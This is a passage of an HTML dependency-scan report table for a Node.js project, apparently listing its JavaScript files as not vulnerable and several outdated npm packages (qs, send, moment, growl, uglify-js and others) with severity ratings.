href="#l19_35fea5e544ce28d8ad16cfce057a5833160f3233">session.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="LOAD-DB-DIRECT.JS"><a href="#l20_a8819d09c2f78f1c276fc724b2fcece610076985">load-db-direct.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="WORKCOLLECTION.JS"><a href="#l21_1365e9b672757a7fb39737cc9be3234eef377d87">workCollection.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="EDITMIXIN.JS"><a href="#l22_39318138a03fa0748d8f30c3b2d1cc3757af57fc">editMixin.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="UTIL.JS"><a href="#l23_03e8a1bfdd35bf42410b305613208b3fd6908d19">util.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="PAGES.JS"><a href="#l24_3fa3f47d44c28adc3238fcd7d53021986491a4c1">pages.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="USERPROFILE.JS"><a href="#l25_456e5e5c7ecfdc0c0c1c42168a304388120bd0d5">userProfile.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="ETAG.JS"><a href="#l26_d1f698332098355a0c77acc2dbfed8248ba8234a">etag.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="SOURCEPERMALINK.JS"><a href="#l27_ae5e4212ec925eac35c9d01e0fc7088a6bf968c3">sourcePermalink.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="MAIN.JS"><a href="#l28_a373caa3a575f89519047a5be24dc7e6905dae56">main.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="MAIN.JS"><a href="#l29_c91c61373fdf116eb27a26a64fd0e9083526b43a">main.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="ANNOTATIONS.JS"><a href="#l30_25ab1706736322657f73df64f2e2275ba32b1862">annotations.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="MAIN.JS"><a href="#l31_b2287560a62791c749f70c88cc7d7f4c1bfc6664">main.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="USER.JS"><a href="#l32_8d7f950df7245852a9e700c125e72ae2c0907678">user.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="COMMON.JS"><a href="#l33_7d877b25373f796696fc8322551bde84ef2e7d2f">common.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="EDITUSERPROFILEVIEW.JS"><a href="#l34_5bbf4bdf0aeb5e9563da454890d076f129f5b6b1">editUserProfileView.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="USER.JS"><a href="#l35_296901bcddb118190867732656fe9a76b38b5c00">user.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="ADMIN.JS"><a href="#l36_3e357554b091b00889d9784649c7a286cfc96614">admin.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="SESSIONS.JS"><a href="#l37_1c47e69afd1bef9d25a4605e1360ff720ce4f54a">sessions.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="CONFIG.JS"><a href="#l38_db84c66e744e8cd5ee5a0f20b3dd8f9668a50fc2">config.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="POSTS.JS"><a href="#l39_3f76f19dd4a37998023d453d6d3e31e9a6a14570">posts.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="REQUESTS.JS"><a href="#l40_8d2cf863d59acfb96ba58f3658246e54de2ed676">requests.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="TEST_ANNOTATION.JS"><a href="#l41_abc4658884b83e8488c6cf8266e4dd30bf527084">test_annotation.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="URIS.JS"><a href="#l42_69f237e70a055f83230ab875759db293eb021e8f">uris.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="USERPROFILEVIEW.JS"><a href="#l43_cd2c44e2f45f9a425713fd154a6aa33199d6ff91">userProfileView.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="SOURCECOLLECTION.JS"><a href="#l44_958f00416cca96b3dde10421c813a01c8368082c">sourceCollection.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="DEVELOPMENT.JS"><a href="#l45_dd2a4d5b7b2b9767a3a7d980ef234f6974b45f9a">development.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="SOURCES.JS"><a href="#l46_19cd1e6855b4375717ad2a6ec7088d9572e1baf8">sources.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="ADMIN.JS"><a href="#l47_1cdcf18184f2b9942b025f442bb0962ec9314af1">admin.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="SUBSCRIBER.JS"><a href="#l48_c85ae2b680378247c6c56c63f71264cf0b63278a">subscriber.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="HOME.JS"><a href="#l49_153310cbecc4c2c6887a663219c4ea58985178d2">home.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="UTIL.JS"><a href="#l50_4c762889bf0dbde44ab1dfb3d43ed99ce7bba973">util.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="CREATEMIXIN.JS"><a href="#l51_a06dfc6e744e2c553065f9215e2aaa375d9fce2f">createMixin.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="RESPOND.JS"><a href="#l52_e488f0d82da5e30eb4357125f1de9bd75a5ef1ad">respond.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="PRODUCTION.JS"><a href="#l53_166a8fb275308b25c28236da491dbf03e13411c9">production.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="SOURCEMODEL.JS"><a href="#l54_87677488d4935e6746662b5020045a5f35c933f9">sourceModel.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="GET_MONGODB_URL.JS"><a href="#l55_e23f61fcfc470dcc0520da90b1f522a30c91cc28">get_mongodb_url.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="NAV.JS"><a href="#l56_4d06314b5f8091025c8c94d4da0d3d715ebab43d">nav.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="MONGO.JS"><a href="#l57_ec7b5ac0eaab7a550c14337417d14cc06e0a71b2">mongo.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="SESSIONSTORE.JS"><a href="#l58_a36ee2fbb5c61ef07920d5dbf02c464e51a2db0e">sessionStore.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="WORKDETAILSVIEW.JS"><a href="#l59_5a582d0e9e4fdea977bcfa9f4eda4e08128ec490">workDetailsView.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="TEST_MIRROR.JS"><a href="#l60_4e79cd64c4313852298917742937b559afd337ae">test_mirror.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="SEARCH.JS"><a href="#l61_923aeea5e037ec2312fbce285f50d0916ff2f094">search.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="COLLECTIONVIEW.JS"><a href="#l62_27b682907f218ecd47d89d5ae74195e6af41524d">collectionView.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="TEMPLATE.JS"><a href="#l63_98a9ffbdf821d945958db7a0a7606f1ea9f16773">template.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="POSTMODEL.JS"><a href="#l64_f889b44b9aacd23f762a9fbf05772c803271c277">postModel.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="WORKVIEW.JS"><a href="#l65_1af67f7475d04168615d4cbab0090bdd3a53dc36">workView.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="MIRROR.JS"><a href="#l66_c0d31babd0551a72e61e00f8523892f80e31eb78">mirror.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="MAIN.JS"><a href="#l67_c98cfffa39c86e8bfd3599939818480273468c57">main.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="BROWSEWORKS.JS"><a href="#l68_d295a05572ab425401a1cc5220997e7d0762557b">browseWorks.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="POSTCOLLECTION.JS"><a href="#l69_d34305a3acc9ddc072a00597a444d2594a5c82f4">postCollection.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="DB.JS"><a href="#l70_ae39bae37fc11b24f5952c85c3600bcc75c0b47b">db.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="BOOT.JS"><a href="#l71_689ad4ac9d3a1d9f626c8824387fb03a0cbd7eb4">boot.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="GRAVATAR.JS"><a href="#l72_a057b0f4b6953753b639660c41a1066176732952">gravatar.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="DB.JS"><a href="#l73_932ac65a60e724b190884952e555ae17abc2691d">db.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="WORKLISTITEMVIEW.JS"><a href="#l74_b2cb6a42a4967ce2cd3ab2501cddea91aa8ea019">workListItemView.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="REST.JS"><a href="#l75_9331c86818d79a5170fe66c31c18806aece87e44">rest.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="TEST_USER.JS"><a href="#l76_e16391ef8ea0d2005e66b545dd8ed8e38eb85028">test_user.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="MAIN.JS"><a href="#l77_e46d7e27712cf1f5da1766670ed55778dcef81e4">main.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="TRANSFER.JS"><a href="#l78_c0550339335337ebe5bd185bd24bb603c3025924">transfer.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="ORGANISATION.JS"><a href="#l79_aa2f96ddd863ccaf76c4814b4d53cecfb92804e4">organisation.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="LOOKUP.JS"><a href="#l80_79cd2bf00e794acc17b19cfd3c16a94c9c222d11">lookup.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="PROCESS.JS"><a href="#l81_52ba433d36af38e433c4b5cfbbf2247d649ab789">process.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="ORGANISATIONS.JS"><a href="#l82_d3e7be2dc879a9d51ca9f879728ed7137353095e">organisations.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="ENSURE_INDEX.JS"><a href="#l83_1b729cd93783f1a433bbcf0c822da88b0aeddf0a">ensure_index.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="HASHDB.JS"><a href="#l84_c07b81e0a90b1003084d2966ff039747a287219f">hashDb.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="WORK.JS"><a href="#l85_a2f19893e59626d3f675246ddc899c21938492a8">work.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="MAIN.JS"><a href="#l86_d9e5e7512e9f374a623f812ce1f918519591d83b">main.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="CORE.JS"><a href="#l87_2e2420b6d843511c69b554e1acbe922447bcb4d3">core.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="WORKS.JS"><a href="#l88_6e1b3411c582b290fc21942cd5ecb6b95ba1f4c6">works.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="DELETE_COLLECTION.JS"><a href="#l89_c74776feb92249c6bd564e25ba1aec9afc8a7bda">delete_collection.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="WORKMODEL.JS"><a href="#l90_37e245c21d8a15fe365c3490038605e4e854eb8c">workModel.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="LOAD-HASH.JS"><a href="#l91_a188cc914d8220c90c61377837b05d44807fe2e4">load-hash.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="USERS.JS"><a href="#l92_4d3e3c3e4c6c7f300f1ed39a7bee416074984baa">users.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="CREATE_USER.JS"><a href="#l93_960555ddeb4285c0e79c1b139b5f2621147ce073">create_user.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="COMMAND.JS"><a href="#l94_c0581098ffaf6b5617115c1e9d954ea54b119203">command.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="TEST_MEDIA.JS"><a href="#l95_5f417d11c22fe4d93f559c4391648bad6d36d746">test_media.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="EVENT.JS"><a href="#l96_8fe2f34c058a548f65510060e45d9bacb37ced86">event.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="TEST_ORGANISATION.JS"><a href="#l97_d912fb9887349b48e3c2138ee95fa159f2c9d73e">test_organisation.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="CREATEWORKVIEW.JS"><a href="#l98_03cc4f34e950cf7418b016e096135f74d1ce6164">createWorkView.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="PAGES.JS"><a href="#l99_557262d0f092dca4d4eb17d46530c9427760e106">pages.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="REQUEST.JS"><a href="#l100_c268513f44823dc485728ee0ebd8e10e66b6d6ca">request.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="ANNOTATIONS.JS"><a href="#l101_4929df6650083ca256d55ffcd14e4ca572df2b0a">annotations.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="SOURCES.JS"><a href="#l102_b4b382498b02e68b35f705a2a32b06e8cdcfc922">sources.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="TEST_SOURCES.JS"><a href="#l103_d5f4b29617c03a0d6e72118dc948f148c4bac375">test_sources.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="ORGANISATIONS.JS"><a href="#l104_a6765d44b90658e71f1c908fae4ebfe65de38587">organisations.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="USERS.JS"><a href="#l105_36c873e60576256c656037e6085e6971d2874a8b">users.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="MEDIA.JS"><a href="#l106_e67c0d7f3e57d887a36ceb35b868b597278a9df2">media.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="WORKS.JS"><a href="#l107_6e1dd866911f6f653e093cb5998caf4feec5ded3">works.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class="notvulnerable"><td data-sort-value="EDITWORKDETAILSVIEW.JS"><a href="#l108_027981c839ed5112b93cf551267ac1f74a88318c">editWorkDetailsView.js</a></td><td data-sort-value=""></td><td data-sort-value=""></td><td data-sort-value="-10"> </td><td>0</td><td data-sort-value="0"></td><td>0</td></tr><tr class=" vulnerable"><td data-sort-value="DEBUG:0.7.4"><a href="#l109_a46e4419055a3c355cf1b3fa2efb8db7075d4204">debug:0.7.4</a></td><td data-sort-value=""></td><td data-sort-value="debug:0.7.4">debug:0.7.4</td><td data-sort-value="37.0">Low</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="QS:0.6.5"><a href="#l110_d015092b98da51845ad5a50f068d185193e0c150">qs:0.6.5</a></td><td data-sort-value=""></td><td data-sort-value="qs:0.6.5">qs:0.6.5</td><td data-sort-value="75.0">High</td><td>2</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="SEND:0.1.4"><a href="#l111_6f6504a5758cfe7611f46b0418558110e0899e05">send:0.1.4</a></td><td data-sort-value=""></td><td data-sort-value="send:0.1.4">send:0.1.4</td><td data-sort-value="53.0">Medium</td><td>2</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="MIME:1.2.11"><a href="#l112_decbf3cea634f08a3cb16b628ebe0bc16d545140">mime:1.2.11</a></td><td data-sort-value=""></td><td data-sort-value="mime:1.2.11">mime:1.2.11</td><td data-sort-value="75.0">High</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="FRESH:0.2.0"><a href="#l113_513db5434a851a98383b02d73b737ef02033e080">fresh:0.2.0</a></td><td data-sort-value=""></td><td data-sort-value="fresh:0.2.0">fresh:0.2.0</td><td data-sort-value="75.0">High</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="NEGOTIATOR:0.2.8"><a href="#l114_a45636080ca309d770b0029ade86aa3ff256809b">negotiator:0.2.8</a></td><td data-sort-value=""></td><td data-sort-value="negotiator:0.2.8">negotiator:0.2.8</td><td data-sort-value="75.0">High</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="COOKIE-SIGNATURE:1.0.1"><a href="#l115_c8ddb3aef0b3cf393da4d83fffcc9c76438644c2">cookie-signature:1.0.1</a></td><td data-sort-value=""></td><td data-sort-value="cookie-signature:1.0.1">cookie-signature:1.0.1</td><td data-sort-value="54.0">Medium</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="UGLIFY-JS:1.0.6"><a href="#l116_cd4152d57c4ceac72ad8f5fc663776003e9e084f">uglify-js:1.0.6</a></td><td data-sort-value=""></td><td data-sort-value="uglify-js:1.0.6">uglify-js:1.0.6</td><td data-sort-value="83.0">High</td><td>2</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="NODE-UUID:1.4.0"><a href="#l117_9b2d1ce72969dbe487843119346a294e84db344c">node-uuid:1.4.0</a></td><td data-sort-value=""></td><td data-sort-value="node-uuid:1.4.0">node-uuid:1.4.0</td><td data-sort-value="42.0">Medium</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="REQUEST:2.12.0"><a href="#l118_daf26c7f7aa4a3aebd46412bf4c723519a42731b">request:2.12.0</a></td><td data-sort-value=""></td><td data-sort-value="request:2.12.0">request:2.12.0</td><td data-sort-value="53.0">Medium</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="MOMENT:2.3.1"><a href="#l119_45e9b88ea85eee3f312a92697836b6991afca8c2">moment:2.3.1</a></td><td data-sort-value=""></td><td data-sort-value="moment:2.3.1">moment:2.3.1</td><td data-sort-value="75.0">High</td><td>2</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="MINIMATCH:0.2.14"><a href="#l120_b45955f42bcf62bb1c642b5d1b6bac6868186ae8">minimatch:0.2.14</a></td><td data-sort-value=""></td><td data-sort-value="minimatch:0.2.14">minimatch:0.2.14</td><td data-sort-value="75.0">High</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="GROWL:1.7.0"><a href="#l121_ffed5477ff15ddcfcea4d2c7081c0b3f6552f3d8">growl:1.7.0</a></td><td data-sort-value=""></td><td data-sort-value="growl:1.7.0">growl:1.7.0</td><td data-sort-value="98.0">High</td><td>1</td><td data-sort-value="0"></td><td>3</td></tr><tr class=" vulnerable"><td data-sort-value="MIME:1.3.4"><a 